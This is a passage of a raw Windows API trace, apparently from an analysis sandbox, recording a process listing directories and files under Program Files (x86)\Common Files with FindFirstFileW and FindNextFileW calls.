ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.091] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15a0fb20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x15a0fb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15a0fb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.091] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70019900, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x15a0fb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x70019900, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0064.091] GetLastError () returned 0x12 [0064.091] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.091] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.091] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e891920, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e891920, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0064.091] GetLastError () returned 0x12 [0064.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\*" (normalized: "c:\\program files (x86)\\common files\\java\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e891920, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e891920, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.092] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e891920, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e891920, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.092] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e8b7a80, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e8b7a80, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0064.092] GetLastError () returned 0x12 [0064.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e8b7a80, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e8b7a80, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.092] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e8b7a80, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e8b7a80, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.092] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27b2b00, ftCreationTime.dwHighDateTime=0x1d3c6ab, ftLastAccessTime.dwLowDateTime=0x4e8b7a80, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0xb27b2b00, ftLastWriteTime.dwHighDateTime=0x1d3c6ab, nFileSizeHigh=0x0, nFileSizeLow=0x68fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0064.093] GetLastError () returned 0x12 [0064.093] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.093] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e891920, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4e8b7a80, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4e8b7a80, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0064.093] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.093] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0064.093] GetLastError () returned 0x12 [0064.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.093] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2cb9d2a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cb9d2a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.093] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0064.093] GetLastError () returned 0x12 [0064.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.094] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.094] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0064.094] GetLastError () returned 0x12 [0064.094] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.094] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.094] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10568cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2670b120, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2670b120, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0064.094] GetLastError () returned 0x12 [0064.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\DW\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dw\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10568cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2670b120, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2670b120, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.097] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10568cc0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x2670b120, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2670b120, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.097] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e806b00, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0x10568cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x8e806b00, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x132a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0064.097] GetLastError () returned 0x12 [0064.097] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.098] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.098] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0064.098] GetLastError () returned 0x12 [0064.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\EQUATION\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\equation\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.098] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.098] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab2cec0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab2cec0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.098] GetLastError () returned 0x12 [0064.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\EQUATION\\1033\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\equation\\1033\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab2cec0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab2cec0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.102] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab2cec0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab2cec0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab2cec0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.102] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b30600, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0xeab2cec0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x70b30600, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0064.102] GetLastError () returned 0x12 [0064.102] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.102] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.102] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b30600, ftCreationTime.dwHighDateTime=0x1d0ca66, ftLastAccessTime.dwLowDateTime=0xeab53020, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x70b30600, ftLastWriteTime.dwHighDateTime=0x1d0ca66, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0064.102] GetLastError () returned 0x12 [0064.102] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.102] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.102] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ca4ea0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x18ca4ea0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x18ca4ea0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0064.102] GetLastError () returned 0x12 [0064.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\EURO\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\euro\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ca4ea0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x18ca4ea0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x18ca4ea0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.106] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ca4ea0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x18ca4ea0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x18ca4ea0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.106] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70019900, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x18ca4ea0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x70019900, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0064.106] GetLastError () returned 0x12 [0064.106] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.106] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.106] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa19ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x312e0540, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x312e0540, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0064.106] GetLastError () returned 0x12 [0064.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Filters\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\filters\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa19ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x312e0540, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x312e0540, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.240] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa19ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x312e0540, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x312e0540, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.240] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83146900, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x2cc81ae0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x83146900, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x86b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0064.240] GetLastError () returned 0x12 [0064.241] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.241] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.241] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab53020, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeaf0b280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeaf0b280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0064.241] GetLastError () returned 0x12 [0064.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\GRPHFLT\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\grphflt\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab53020, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeaf0b280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeaf0b280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.338] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab53020, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeaf0b280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeaf0b280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, 